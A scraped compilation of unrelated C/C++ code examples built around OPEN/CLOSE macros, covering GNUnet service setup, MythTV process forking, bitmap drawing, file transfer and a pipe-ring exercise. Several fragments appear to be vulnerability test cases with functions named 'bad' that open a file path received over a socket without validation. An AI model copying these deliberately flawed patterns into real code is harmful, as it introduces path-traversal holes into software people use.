}
void bad()
{
    char * data;
    char dataBuffer[FILENAME_MAX] = BASEPATH;
    data = dataBuffer;
    if(STATIC_CONST_TRUE)
    {
        {
#ifdef _WIN32
            WSADATA wsaData;
            int wsaDataInit = 0;
#endif
            int recvResult;
            struct sockaddr_in service;
            char *replace;
            SOCKET listenSocket = INVALID_SOCKET;
            SOCKET acceptSocket = INVALID_SOCKET;
            size_t dataLen = strlen(data);
            do
            {
#ifdef _WIN32
                if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
                {
                    break;
                }
                wsaDataInit = 1;
#endif
                /* POTENTIAL FLAW: Read data using a listen socket */
                listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if (listenSocket == INVALID_SOCKET)
                {
                    break;
                }
                memset(&service, 0, sizeof(service));
                service.sin_family = AF_INET;
                service.sin_addr.s_addr = INADDR_ANY;
                service.sin_port = htons(TCP_PORT);
                if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
                {
                    break;
                }
                if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR)
                {
                    break;
                }
                acceptSocket = accept(listenSocket, NULL, NULL);
                if (acceptSocket == SOCKET_ERROR)
                {
                    break;
                }
                /* Abort on error or the connection was closed */
                recvResult = recv(acceptSocket, (char *)(data + dataLen), sizeof(char) * (FILENAME_MAX - dataLen - 1), 0);
                if (recvResult == SOCKET_ERROR || recvResult == 0)
                {
                    break;
                }
                /* Append null terminator */
                data[dataLen + recvResult / sizeof(char)] = '\0';
                /* Eliminate CRLF */
                replace = strchr(data, '\r');
                if (replace)
                {
                    *replace = '\0';
                }
                replace = strchr(data, '\n');
                if (replace)
                {
                    *replace = '\0';
                }
            }
            while (0);
            if (listenSocket != INVALID_SOCKET)
            {
                CLOSE_SOCKET(listenSocket);
            }
            if (acceptSocket != INVALID_SOCKET)
            {
                CLOSE_SOCKET(acceptSocket);
            }
#ifdef _WIN32
            if (wsaDataInit)
            {
                WSACleanup();
            }
#endif
        }
    }
    {
        int fileDesc;
        /* POTENTIAL FLAW: Possibly opening a file without validating the file name or path */
        fileDesc = OPEN(data, O_RDWR|O_CREAT, S_IREAD|S_IWRITE);
        if (fileDesc != -1)
        {
            CLOSE(fileDesc);
        }
    }
}
Exemple #10
0
void ERROR( QString errStr )
{
	clrPos();
	ERROR2( errStr );
	CLOSE();
}
Exemple #11
0
int transfer(const char *from, const char *to)
{
#define CLOSE(fd) { if (close(fd)) PERROR("error closing fd"); }
    int fdread, fdwrite;
    ssize_t readbytes;
    char buf[TRANSFER_SIZE];
    int w_flags;

    pthread_mutex_lock(&m_transfer);

    if (from && to)
    {
        lock_set(t_state.job->path, LOCK_TRANSFER);
        VERBOSE("beginning transfer: '%s' -> '%s'", from, to);
        t_state.read_path = strdup(from);
        t_state.write_path = strdup(to);

        w_flags = O_WRONLY | O_CREAT | O_TRUNC;
    }
    else if (!t_state.active)
    {
        pthread_mutex_unlock(&m_transfer);
        return TRANSFER_FINISH;
    }
    else
    {
        VERBOSE("resuming transfer: '%s' -> '%s' at %ld",
                t_state.read_path, t_state.write_path, t_state.offset);

        w_flags = O_WRONLY | O_APPEND;
    }


    if (!t_state.read_path || !t_state.write_path)
    {
        ERROR("t_state.read_path or t_state.write_path is NULL");
        lock_remove(t_state.job->path, LOCK_TRANSFER);
        goto failure;
    }

    /* open files */
    if ((fdread = open(t_state.read_path, O_RDONLY)) == -1
            || lseek(fdread, t_state.offset, SEEK_SET) == -1) {
        PERROR(t_state.read_path);
        goto failure;
    }

    if ((fdwrite = open(t_state.write_path, w_flags, 0666)) == -1
            || lseek(fdwrite, t_state.offset, SEEK_SET) == -1) {
        PERROR(t_state.write_path);
        goto failure;
    }

    while (ONLINE && !worker_blocked())
    {
        readbytes = read(fdread, buf, sizeof buf);
        if (readbytes && (readbytes < 0 || write(fdwrite, buf, readbytes) < readbytes || fsync(fdwrite)))
        {

            if (readbytes < 0)
                ERROR("failed to read from file");
            else
                ERROR("failed or incomplete write");

            goto failure;
        }

        /* copy completed, set mode and ownership */
        if (readbytes < sizeof buf)
        {
            CLOSE(fdread);
            CLOSE(fdwrite);

            copy_attrs(t_state.read_path, t_state.write_path);

            VERBOSE("transfer finished: '%s' -> '%s'", t_state.read_path, t_state.write_path);

            lock_remove(t_state.job->path, LOCK_TRANSFER);
            pthread_mutex_unlock(&m_transfer);
            transfer_reset_state();

            return TRANSFER_FINISH;
        }
    }

    t_state.offset = lseek(fdread, 0, SEEK_CUR);

    CLOSE(fdread);
    CLOSE(fdwrite);

    pthread_mutex_unlock(&m_transfer);
    return TRANSFER_OK;

failure:
    pthread_mutex_unlock(&m_transfer);
    transfer_abort();
    return TRANSFER_FAIL;
#undef CLOSE
}
void TcpComm::closeTransferSocket()
{
  CLOSE(transferSocket);
  transferSocket = 0;
}
Exemple #13
0
void MythSystemUnix::Fork(time_t timeout)
{
    QString LOC_ERR = QString("myth_system('%1'): Error: ").arg(GetLogCmd());

    // For use in the child
    char locerr[MAX_BUFLEN];
    strncpy(locerr, (const char *)LOC_ERR.toUtf8().constData(), MAX_BUFLEN);
    locerr[MAX_BUFLEN-1] = '\0';

    LOG(VB_SYSTEM, LOG_DEBUG, QString("Launching: %1").arg(GetLogCmd()));

    GetBuffer(0)->setBuffer(0);
    GetBuffer(1)->setBuffer(0);
    GetBuffer(2)->setBuffer(0);

    int p_stdin[]  = {-1,-1};
    int p_stdout[] = {-1,-1};
    int p_stderr[] = {-1,-1};

    /* set up pipes */
    if( GetSetting("UseStdin") )
    {
        if( pipe(p_stdin) == -1 )
        {
            LOG(VB_SYSTEM, LOG_ERR, LOC_ERR + "stdin pipe() failed");
            SetStatus( GENERIC_EXIT_NOT_OK );
        }
        else
            fcntl(p_stdin[1], F_SETFL, O_NONBLOCK);
    }
    if( GetSetting("UseStdout") )
    {
        if( pipe(p_stdout) == -1 )
        {
            LOG(VB_SYSTEM, LOG_ERR, LOC_ERR + "stdout pipe() failed");
            SetStatus( GENERIC_EXIT_NOT_OK );
        }
        else
            fcntl(p_stdout[0], F_SETFL, O_NONBLOCK);
    }
    if( GetSetting("UseStderr") )
    {
        if( pipe(p_stderr) == -1 )
        {
            LOG(VB_SYSTEM, LOG_ERR, LOC_ERR + "stderr pipe() failed");
            SetStatus( GENERIC_EXIT_NOT_OK );
        }
        else
            fcntl(p_stderr[0], F_SETFL, O_NONBLOCK);
    }

    // set up command args
    if (GetSetting("UseShell"))
    {
        QStringList args = QStringList("-c");
        args << GetCommand() + " " + GetArgs().join(" ");
        SetArgs( args );
        QString cmd = "/bin/sh";
        SetCommand( cmd );
    }
    QStringList args = GetArgs();
    args.prepend(GetCommand().split('/').last());
    SetArgs( args );

    QByteArray cmdUTF8 = GetCommand().toUtf8();
    const char *command = strdup(cmdUTF8.constData());

    char **cmdargs = (char **)malloc((args.size() + 1) * sizeof(char *));
    int i;
    QStringList::const_iterator it;

    for (i = 0, it = args.constBegin(); it != args.constEnd(); ++it)
    {
        cmdargs[i++] = strdup(it->toUtf8().constData());
    }
    cmdargs[i] = NULL;

    const char *directory = NULL;
    QString dir = GetDirectory();
    if (GetSetting("SetDirectory") && !dir.isEmpty())
        directory = strdup(dir.toUtf8().constData());

    // check before fork to avoid QString use in child
    bool setpgidsetting = GetSetting("SetPGID");

    int niceval = m_parent->GetNice();
    int ioprioval = m_parent->GetIOPrio();

    /* Do this before forking in case the child miserably fails */
    m_timeout = timeout;
    if( timeout )
        m_timeout += time(NULL);

    pid_t child = fork();

    if (child < 0)
    {
        /* Fork failed, still in parent */
        LOG(VB_SYSTEM, LOG_ERR, "fork() failed: " + ENO);
        SetStatus( GENERIC_EXIT_NOT_OK );
    }
    else if( child > 0 )
    {
        /* parent */
        m_pid = child;
        SetStatus( GENERIC_EXIT_RUNNING );

        LOG(VB_SYSTEM, LOG_INFO,
                    QString("Managed child (PID: %1) has started! "
                            "%2%3 command=%4, timeout=%5")
                        .arg(m_pid) .arg(GetSetting("UseShell") ? "*" : "")
                        .arg(GetSetting("RunInBackground") ? "&" : "")
                        .arg(GetLogCmd()) .arg(timeout));

        /* close unused pipe ends */
        CLOSE(p_stdin[0]);
        CLOSE(p_stdout[1]);
        CLOSE(p_stderr[1]);

        // store the rest
        m_stdpipe[0] = p_stdin[1];
        m_stdpipe[1] = p_stdout[0];
        m_stdpipe[2] = p_stderr[0];
    }
    else if (child == 0)
    {
        /* Child - NOTE: it is not safe to use LOG or QString between the 
         * fork and execv calls in the child.  It causes occasional locking 
         * issues that cause deadlocked child processes. */

        /* handle standard input */
        if( p_stdin[0] >= 0 )
        {
            /* try to attach stdin to input pipe - failure is fatal */
            if( dup2(p_stdin[0], 0) < 0 )
            {
                cerr << locerr
                     << "Cannot redirect input pipe to standard input: "
                     << strerror(errno) << endl;
                _exit(GENERIC_EXIT_PIPE_FAILURE);
            }
        }
        else
        {
            /* try to attach stdin to /dev/null */
            int fd = open("/dev/null", O_RDONLY);
            if( fd >= 0 )
            {
                if( dup2(fd, 0) < 0)
                {
                    cerr << locerr
                         << "Cannot redirect /dev/null to standard input,"
                            "\n\t\t\tfailed to duplicate file descriptor: " 
                         << strerror(errno) << endl;
                }
            }
            else
            {
                cerr << locerr
                     << "Cannot redirect /dev/null to standard input, "
                        "failed to open: "
                     << strerror(errno) << endl;
            }
        }

        /* handle standard output */
        if( p_stdout[1] >= 0 )
        {
            /* try to attach stdout to output pipe - failure is fatal */
            if( dup2(p_stdout[1], 1) < 0)
            {
                cerr << locerr
                     << "Cannot redirect output pipe to standard output: "
                     << strerror(errno) << endl;
                _exit(GENERIC_EXIT_PIPE_FAILURE);
            }
        }

        /* handle standard err */
        if( p_stderr[1] >= 0 )
        {
            /* try to attach stderr to error pipe - failure is fatal */
            if( dup2(p_stderr[1], 2) < 0)
            {
                cerr << locerr
                     << "Cannot redirect error pipe to standard error: " 
                     << strerror(errno) << endl;
                _exit(GENERIC_EXIT_PIPE_FAILURE);
            }
        }

        /* Close all open file descriptors except stdin/stdout/stderr */
        for( int i = sysconf(_SC_OPEN_MAX) - 1; i > 2; i-- )
            close(i);

        /* set directory */
        if( directory && chdir(directory) < 0 )
        {
            cerr << locerr
                 << "chdir() failed: "
                 << strerror(errno) << endl;
        }

        /* Set the process group id to be the same as the pid of this child
         * process.  This ensures that any subprocesses launched by this
         * process can be killed along with the process itself. */ 
        if (setpgidsetting && setpgid(0,0) < 0 ) 
        {
            cerr << locerr
                 << "setpgid() failed: "
                 << strerror(errno) << endl;
        }

        /* Set nice and ioprio values if non-default */
        if (niceval)
            myth_nice(niceval);
        if (ioprioval)
            myth_ioprio(ioprioval);

        /* run command */
        if( execv(command, cmdargs) < 0 )
        {
            // Can't use LOG due to locking fun.
            cerr << locerr
                 << "execv() failed: "
                 << strerror(errno) << endl;
        }

        /* Failed to exec */
        _exit(GENERIC_EXIT_DAEMONIZING_ERROR); // this exit is ok
    }

    /* Parent */

    // clean up the memory use
    if( command )
        free((void *)command);

    if( directory )
        free((void *)directory);

    if( cmdargs )
    {
        for (i = 0; cmdargs[i]; i++)
            free( cmdargs[i] );
        free( cmdargs );
    }

    if( GetStatus() != GENERIC_EXIT_RUNNING )
    {
        CLOSE(p_stdin[0]);
        CLOSE(p_stdin[1]);
        CLOSE(p_stdout[0]);
        CLOSE(p_stdout[1]);
        CLOSE(p_stderr[0]);
        CLOSE(p_stderr[1]);
    }
}
Exemple #14
0
int main(int argc, char *argv[]) {
  
	pid_t pid, gpid = getpid();
  int pipe_dsk[2], N, K, i;
  char tekst[MAX], tmp[10];
  struct pakiet paczka;
	struct info plan;
	
	
  if (argc != 3) fatal("Użycie: %s liczba_procesów liczba_obrotów\n",argv[0]);
	
  N = atoi(argv[1]); 
  K = atoi(argv[2]);
  
	if ((N <= 0) || K < 0) fatal("Podaj dodatnie liczby!\n");
  
  PIPE(pipe_dsk);
	printf("[%d] Konfiguracja:\n", gpid);
	printf("[%d] N= %d K= %d\n", gpid, N, K);
	printf("[%d] Utworzono łącze nienazwane...(o=%d, z=%d)\n\n", gpid, pipe_dsk[0], pipe_dsk[1]);

  /* Tworzenie struktury pierścienia: */
  switch (pid = fork()) {
    case -1:
	  	ERR("fork!");
	  
    case 0: /* Proces potomny: */
	/* Nie zamykamy deskryptora do zapisu - potrzebny jest dla ostaniego procesu, *
	 * zamykając go tutaj zamykamy go również dla procesów potomnych.             */
			sprintf(tmp, "%d", pipe_dsk[0]);
      execl("./proces", "proces", tmp, 0);
      ERR("execl!");
	  
    default: /* Proces macierzysty: */
	  	printf("[%d] Tworzenie pierscienia...\n", gpid);
			printf("[%d] Utworzono proces potomny: %d\n", gpid, pid);
	  	CLOSE(pipe_dsk[0]);
  /* Pozostalo wysłać do deskryptora informacje o parametrach pierścienia: */
	  	plan.licznik = N;
	  	plan.ostatni = pipe_dsk[1];			
	  	WRITE(pipe_dsk[1], &plan, INFO_ROZ);
  /* W pętli dodajemy kolejno słowa do przetworzenia przez pierscień procesów.     *
   * Wczytanie pustej linni powoduje wyjście z pętli. Zauważmy, iż pusta wiadomość *
   * zostanie wysłana przed wyjściem z pętli stanowi ona znak dla pierścienia, iż  *
	 * po przetworzeniu wszystkich słów krążących w nim program ma sie zakończyć.    *
	 * jeśli wyślemy zadlugi tekst, zostanie on podzielony na kilka pakietów.        */
	  	while (1) {
				fgets(tekst, MAX, stdin);
				for (i = 0; i < strlen(tekst); i++) if (tekst[i] == '\n') tekst[i] = '\0';
				tekst[MAX-1]='\0';
				strncpy(paczka.tresc, tekst, MAX);
				paczka.licznik = N*K;
				
				printf("[%d] Wysyłanie danych do pierścienia...(%d)\n", gpid, strlen(paczka.tresc));
    		WRITE(pipe_dsk[1], &paczka, sizeof(paczka));
				if (strlen(paczka.tresc) == 0) break;
	  	}
			printf("[%d] Wczytano pusty wiersz, kończenie programu...\n", gpid);
			printf("[%d] Zamykanie pierścienia...\n", gpid);
  /* Czekamy na zakonczenie wykonywania się procesu potomnego: */
	  	WAIT(0);
			printf("[%d] Pierścień zamknięty.\n", gpid);
			printf("[%d] Zamykanie deskryptora...\n", gpid);
	  	CLOSE(pipe_dsk[1]);
			printf("[%d] Koniec!\n", gpid);
    	exit(0);
  } 
}
Exemple #15
0
/**
 * Initial task for the service.
 *
 * @param cls service context
 * @param tc unused
 */
static void
service_task (void *cls, const struct GNUNET_SCHEDULER_TaskContext *tc)
{
  struct GNUNET_SERVICE_Context *sctx = cls;
  unsigned int i;

  if (0 != (GNUNET_SCHEDULER_REASON_SHUTDOWN & tc->reason))
    return;
  (void) GNUNET_SPEEDUP_start_ (sctx->cfg);
  GNUNET_RESOLVER_connect (sctx->cfg);
  if (NULL != sctx->lsocks)
    sctx->server
      = GNUNET_SERVER_create_with_sockets (&check_access, sctx, sctx->lsocks,
                                           sctx->timeout, sctx->require_found);
  else
    sctx->server
      = GNUNET_SERVER_create (&check_access, sctx, sctx->addrs, sctx->addrlens,
                              sctx->timeout, sctx->require_found);
  if (NULL == sctx->server)
  {
    if (NULL != sctx->addrs)
      for (i = 0; NULL != sctx->addrs[i]; i++)
        LOG (GNUNET_ERROR_TYPE_INFO,
             _("Failed to start `%s' at `%s'\n"),
             sctx->service_name, GNUNET_a2s (sctx->addrs[i], sctx->addrlens[i]));
    sctx->ret = GNUNET_SYSERR;
    return;
  }
#ifndef WINDOWS
  if (NULL != sctx->addrs)
    for (i = 0; NULL != sctx->addrs[i]; i++)
      if ((AF_UNIX == sctx->addrs[i]->sa_family)
          && ('\0' != ((const struct sockaddr_un *)sctx->addrs[i])->sun_path[0]))
        GNUNET_DISK_fix_permissions (((const struct sockaddr_un *)sctx->addrs[i])->sun_path,
                                     sctx->match_uid,
                                     sctx->match_gid);
#endif


  if (0 == (sctx->options & GNUNET_SERVICE_OPTION_MANUAL_SHUTDOWN))
  {
    /* install a task that will kill the server
     * process if the scheduler ever gets a shutdown signal */
    sctx->shutdown_task = GNUNET_SCHEDULER_add_delayed (GNUNET_TIME_UNIT_FOREVER_REL,
                                                        &shutdown_task,
							sctx);
  }
  sctx->my_handlers = GNUNET_malloc (sizeof (defhandlers));
  memcpy (sctx->my_handlers, defhandlers, sizeof (defhandlers));
  i = 0;
  while (NULL != sctx->my_handlers[i].callback)
    sctx->my_handlers[i++].callback_cls = sctx;
  GNUNET_SERVER_add_handlers (sctx->server, sctx->my_handlers);
  if (-1 != sctx->ready_confirm_fd)
  {
    GNUNET_break (1 == WRITE (sctx->ready_confirm_fd, ".", 1));
    GNUNET_break (0 == CLOSE (sctx->ready_confirm_fd));
    sctx->ready_confirm_fd = -1;
    write_pid_file (sctx, getpid ());
  }
  if (NULL != sctx->addrs)
  {
    i = 0;
    while (NULL != sctx->addrs[i])
    {
      LOG (GNUNET_ERROR_TYPE_INFO, _("Service `%s' runs at %s\n"),
           sctx->service_name, GNUNET_a2s (sctx->addrs[i], sctx->addrlens[i]));
      i++;
    }
  }
  sctx->task (sctx->task_cls, sctx->server, sctx->cfg);
}
Exemple #16
0
BOOL 
ShowBitmapWithTrColorMem(
	HDC hDC, 
	int xPos, 
	int yPos, 
	char* pFile, 
	COLORREF crTrColor
)
{
	FILE_P fd;
	BMPINFOHEADER infoHeader;
	int iBmpWidth, iBmpHeight;
	int iCliWidth,iCliHeight;
	int iWinWidth,iWinHeight;
	int iWidth,iHeight;

	int x,y;
	void* pCurPointer;
	void* pOutPointer;

	void *pData;
	RECT rc;


	if(!(hDC->hWnd))
		return false;
	GetWindowRect(hDC->hWnd,&rc);
	iWinWidth = rc.right - rc.left + 1;
	iWinHeight = rc.bottom - rc.top + 1;


	if(!(hDC->hWnd))
		return false;
	GetWindowRect(hDC->hWnd,&rc);
	iWinWidth = rc.right - rc.left + 1;
	iWinHeight = rc.bottom - rc.top + 1;

	GetClientRect(hDC->hWnd,&rc);
	iCliWidth = rc.right - rc.left + 1;
	iCliHeight = rc.bottom - rc.top + 1;


	if(xPos>=iWinWidth || xPos<0){
		printerror("show bitmap out of range.");
		return false;
	}
	if(yPos>=iWinHeight || yPos<0){
		printerror("show bitmap out of range.");
		return false;
	}
	fd=OPEN(pFile,RDONLY);
	if(fd<0){
		printerror("open file error!");
		return false;
	}

	SEEK(fd,0x12,0);
	READ(fd,&(infoHeader.biWidth),sizeof(infoHeader.biWidth));
	READ(fd,&(infoHeader.biHeight),sizeof(infoHeader.biHeight));

	SEEK(fd,0x1c,0);
	READ(fd,&(infoHeader.biBitCount),sizeof(infoHeader.biBitCount));

	iBmpWidth=infoHeader.biWidth;
	iBmpHeight=infoHeader.biHeight;

	iWidth=min(iBmpWidth,iCliWidth-xPos);
	iHeight=min(iBmpHeight,iCliHeight-yPos);

	pData=malloc(iWidth*iHeight*Gal_iBytesDataType);
	if(!pData){
		printerror("alloc memory error!");
		return false;
	}

	if(!ReadBmpToBuf(fd, iWidth, iHeight, pData)){
		free(pData);
		CLOSE(fd);
		return false;
	}
	for(y=0;y<iHeight;y++){
		for(x=0;x<iWidth;x++){
			pCurPointer=(acoral_u8*)pData + (y*iWidth+x)*Gal_iBytesDataType;
			if(*((PCOLORREF)(pCurPointer))!=crTrColor){
				pOutPointer=(acoral_u8*)hDC->pData + (y + yPos)*iWinWidth*Gal_iBytesDataType + 
					(x + xPos)*Gal_iBytesDataType;
				memcpy(pOutPointer,pCurPointer,Gal_iBytesDataType);
			}
		}
	}

	free(pData);
	CLOSE(fd);
	return true;
}
Exemple #17
0
/**
 * Detach from terminal.
 *
 * @param sctx service context
 * @return #GNUNET_OK on success, #GNUNET_SYSERR on error
 */
static int
detach_terminal (struct GNUNET_SERVICE_Context *sctx)
{
#ifndef MINGW
  pid_t pid;
  int nullfd;
  int filedes[2];

  if (0 != PIPE (filedes))
  {
    LOG_STRERROR (GNUNET_ERROR_TYPE_ERROR, "pipe");
    return GNUNET_SYSERR;
  }
  pid = fork ();
  if (pid < 0)
  {
    LOG_STRERROR (GNUNET_ERROR_TYPE_ERROR, "fork");
    return GNUNET_SYSERR;
  }
  if (0 != pid)
  {
    /* Parent */
    char c;

    GNUNET_break (0 == CLOSE (filedes[1]));
    c = 'X';
    if (1 != READ (filedes[0], &c, sizeof (char)))
      LOG_STRERROR (GNUNET_ERROR_TYPE_WARNING, "read");
    fflush (stdout);
    switch (c)
    {
    case '.':
      exit (0);
    case 'I':
      LOG (GNUNET_ERROR_TYPE_INFO, _("Service process failed to initialize\n"));
      break;
    case 'S':
      LOG (GNUNET_ERROR_TYPE_INFO,
           _("Service process could not initialize server function\n"));
      break;
    case 'X':
      LOG (GNUNET_ERROR_TYPE_INFO,
           _("Service process failed to report status\n"));
      break;
    }
    exit (1);                   /* child reported error */
  }
  GNUNET_break (0 == CLOSE (0));
  GNUNET_break (0 == CLOSE (1));
  GNUNET_break (0 == CLOSE (filedes[0]));
  nullfd = OPEN ("/dev/null", O_RDWR | O_APPEND);
  if (nullfd < 0)
    return GNUNET_SYSERR;
  /* set stdin/stdout to /dev/null */
  if ((dup2 (nullfd, 0) < 0) || (dup2 (nullfd, 1) < 0))
  {
    LOG_STRERROR (GNUNET_ERROR_TYPE_ERROR, "dup2");
    (void) CLOSE (nullfd);
    return GNUNET_SYSERR;
  }
  (void) CLOSE (nullfd);
  /* Detach from controlling terminal */
  pid = setsid ();
  if (-1 == pid)
    LOG_STRERROR (GNUNET_ERROR_TYPE_ERROR, "setsid");
  sctx->ready_confirm_fd = filedes[1];
#else
  /* FIXME: we probably need to do something else
   * elsewhere in order to fork the process itself... */
  FreeConsole ();
#endif
  return GNUNET_OK;
}
Exemple #18
0
BOOL 
ShowBitmapMem(
	HDC hDC, 
	int xPos, 
	int yPos, 
	char* pFile
)
{
	FILE_P fd;
	BMPINFOHEADER infoHeader;
	int iBmpWidth, iBmpHeight;
	int iWinWidth,iWinHeight;
	int iCliWidth,iCliHeight;
	int iWidth,iHeight;
	int iLeftMarge,iTopMarge,iBottom;

	int y;
	void* pCurPointer;
	void* pOutPointer;

	void *pData;
	RECT rc;


	if(!(hDC->hWnd))
		return false;
	GetWindowRect(hDC->hWnd,&rc);
	iWinWidth = rc.right - rc.left + 1;
	iWinHeight = rc.bottom - rc.top + 1;

	GetClientRect(hDC->hWnd,&rc);
	iCliWidth = rc.right - rc.left + 1;
	iCliHeight = rc.bottom - rc.top + 1;

	if(xPos>=iWinWidth || xPos<0){
		printerror("show bitmap out of range.");
		return false;
	}
	if(yPos>=iWinHeight || yPos<0){
		printerror("show bitmap out of range.");
		return false;
	}
	fd=OPEN(pFile,RDONLY);
	if(fd<0){
		printerror("open file error!");
		return false;
	}

	SEEK(fd,0x12,0);
	READ(fd,&(infoHeader.biWidth),sizeof(infoHeader.biWidth));
	READ(fd,&(infoHeader.biHeight),sizeof(infoHeader.biHeight));

	SEEK(fd,0x1c,0);
	READ(fd,&(infoHeader.biBitCount),sizeof(infoHeader.biBitCount));

	iBmpWidth=infoHeader.biWidth;
	iBmpHeight=infoHeader.biHeight;

	iWidth=min(iBmpWidth,iCliWidth-xPos);
	iHeight=min(iBmpHeight,iCliHeight-yPos);

	pData=malloc(iWidth*iHeight*Gal_iBytesDataType);
	if(!pData){
		printerror("alloc memory error!");
		return false;
	}
	if(!ReadBmpToBuf(fd, iWidth, iHeight, pData)){
		free(pData);
		CLOSE(fd);
		return false;
	}


	iBottom=yPos+iHeight-1;

	iLeftMarge=xPos*Gal_iBytesDataType;
	iTopMarge=iWinWidth*yPos*Gal_iBytesDataType;
	pCurPointer=pData;
	pOutPointer=(acoral_u8*)hDC->pData+iTopMarge+iLeftMarge;
	for(y=yPos;y<=iBottom;y++){

		memcpy(pOutPointer,pCurPointer,iWidth*Gal_iBytesDataType);
		pOutPointer = (void*)((acoral_u8*)pOutPointer+iWinWidth*Gal_iBytesDataType);
		pCurPointer= (void*)((acoral_u8*) pCurPointer + iWidth*Gal_iBytesDataType);
	}

	free(pData);
	CLOSE(fd);
	return true;

}
/* goodG2B uses the GoodSource with the BadSink */
void goodG2BSink(map<int, int> dataMap)
{
    int data = dataMap[2];
    /* POTENTIAL FLAW: Close the file in the sink (it may have been closed in the Source) */
    CLOSE(data);
}
Exemple #20
0
BOOL 
ShowBitmapWithTrColorWin(
	HDC hDC, 
	int xPos, 
	int yPos, 
	char* pFile, 
	COLORREF crTrColor
)
{
	PClipRect pClipRect;
	FILE_P fd;
	BMPINFOHEADER infoHeader;

	void* pData;
	RECT rcSource,rcDest;
	int iWinWidth, iWinHeight;
	int iBmpWidth, iBmpHeight;
	int iWidth,iHeight;

	GetWindowRect(hDC->hWnd,&rcSource);
	WindowToScreen(hDC->hWnd,&xPos,&yPos);

	if(xPos>rcSource.right || xPos<rcSource.left)
		return false;
	if(yPos>rcSource.bottom || yPos<rcSource.top)
		return false;

	iWinWidth	=rcSource.right-xPos+1;
	iWinHeight	=rcSource.bottom-yPos+1;

	fd=OPEN(pFile,RDONLY);
	if(fd<0)
		return false;
	SEEK(fd,0x12,0);
	READ(fd,&(infoHeader.biWidth),sizeof(infoHeader.biWidth));
	READ(fd,&(infoHeader.biHeight),sizeof(infoHeader.biHeight));

	SEEK(fd,0x1c,0);
	READ(fd,&(infoHeader.biBitCount),sizeof(infoHeader.biBitCount));

	iBmpWidth	=infoHeader.biWidth;
	iBmpHeight	=infoHeader.biHeight;

	iWidth=min(iBmpWidth,iWinWidth);
	iHeight=min(iBmpHeight,iWinHeight);

	pData=malloc(iWidth*iHeight*Gal_iBytesDataType);
	if(!pData){
		CLOSE(fd);
		return false;
	}
	SetRect(&rcSource,xPos,yPos,xPos+iWidth-1,yPos+iHeight-1);

	if(!ReadBmpToBuf(fd, iWidth, iHeight, pData)){
		free(pData);
		CLOSE(fd);
		return false;
	}

	pClipRect=((PWindowsTree)(hDC->hWnd))->pClipRgn->pHead;
	while(pClipRect){
		if(IntersectRect(&rcDest,&rcSource,&(pClipRect->rect)))
			Gal_PutRectWithTrCor(&rcDest,&rcSource,pData,crTrColor);
		pClipRect=pClipRect->pNext;
	}

	free(pData);
	CLOSE(fd);
	return true;
}
Exemple #21
0
char *mus_sound_comment(const char *name)
{
  char *sc = NULL;
  sound_file *sf = NULL;
  sf = get_sf(name); 
  if (sf)
    {
      mus_long_t start, end;
      start = sf->comment_start;
      end = sf->comment_end;
      if (end == 0) 
	{
	  if (sf->aux_comment_start)
	    {
	      if ((sf->header_type == MUS_RIFF) ||
		  (sf->header_type == MUS_RF64))
		sc = mus_header_riff_aux_comment(name, 
						 sf->aux_comment_start, 
						 sf->aux_comment_end);
	      if ((sf->header_type == MUS_AIFF) || 
		  (sf->header_type == MUS_AIFC)) 
		sc = mus_header_aiff_aux_comment(name, 
						 sf->aux_comment_start, 
						 sf->aux_comment_end);
	    }
	}
      else
	{
	  if (end <= sf->true_file_length)
	    {
	      int len;
	      len = end - start + 1;
	      if (len > 0)
		{
		  /* open and get the comment */
		  ssize_t bytes;
		  int fd;
		  fd = mus_file_open_read(name);
		  if (fd == -1) return(NULL);
		  lseek(fd, start, SEEK_SET);
		  sc = (char *)calloc(len + 1, sizeof(char));
		  bytes = read(fd, sc, len);
		  CLOSE(fd, name);
		  if (((sf->header_type == MUS_AIFF) || 
		       (sf->header_type == MUS_AIFC)) &&
		      (sf->aux_comment_start) &&
		      (bytes != 0))
		    {
		      char *auxcom;
		      auxcom = mus_header_aiff_aux_comment(name, 
							   sf->aux_comment_start, 
							   sf->aux_comment_end);
		      if (auxcom)
			{
			  size_t full_len;
			  full_len = strlen(auxcom) + strlen(sc) + 2;
			  sc = (char *)realloc(sc, full_len * sizeof(char));
			  strcat(sc, "\n");
			  strcat(sc, auxcom);
			}
		    }
		}
	    }
	}
    }
  return(sc);
}
void bad()
{
    char * data;
    char dataBuffer[FILENAME_MAX] = "";
    data = dataBuffer;
    switch(6)
    {
    case 6:
    {
#ifdef _WIN32
        WSADATA wsaData;
        int wsaDataInit = 0;
#endif
        int recvResult;
        struct sockaddr_in service;
        char *replace;
        SOCKET connectSocket = INVALID_SOCKET;
        size_t dataLen = strlen(data);
        do
        {
#ifdef _WIN32
            if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
            {
                break;
            }
            wsaDataInit = 1;
#endif
            /* POTENTIAL FLAW: Read data using a connect socket */
            connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if (connectSocket == INVALID_SOCKET)
            {
                break;
            }
            memset(&service, 0, sizeof(service));
            service.sin_family = AF_INET;
            service.sin_addr.s_addr = inet_addr(IP_ADDRESS);
            service.sin_port = htons(TCP_PORT);
            if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
            {
                break;
            }
            /* Abort on error or the connection was closed, make sure to recv one
             * less char than is in the recv_buf in order to append a terminator */
            /* Abort on error or the connection was closed */
            recvResult = recv(connectSocket, (char *)(data + dataLen), sizeof(char) * (FILENAME_MAX - dataLen - 1), 0);
            if (recvResult == SOCKET_ERROR || recvResult == 0)
            {
                break;
            }
            /* Append null terminator */
            data[dataLen + recvResult / sizeof(char)] = '\0';
            /* Eliminate CRLF */
            replace = strchr(data, '\r');
            if (replace)
            {
                *replace = '\0';
            }
            replace = strchr(data, '\n');
            if (replace)
            {
                *replace = '\0';
            }
        }
        while (0);
        if (connectSocket != INVALID_SOCKET)
        {
            CLOSE_SOCKET(connectSocket);
        }
#ifdef _WIN32
        if (wsaDataInit)
        {
            WSACleanup();
        }
#endif
    }
    break;
    default:
        /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
        printLine("Benign, fixed string");
        break;
    }
    {
        int fileDesc;
        /* POTENTIAL FLAW: Possibly opening a file without validating the file name or path */
        fileDesc = OPEN(data, O_RDWR|O_CREAT, S_IREAD|S_IWRITE);
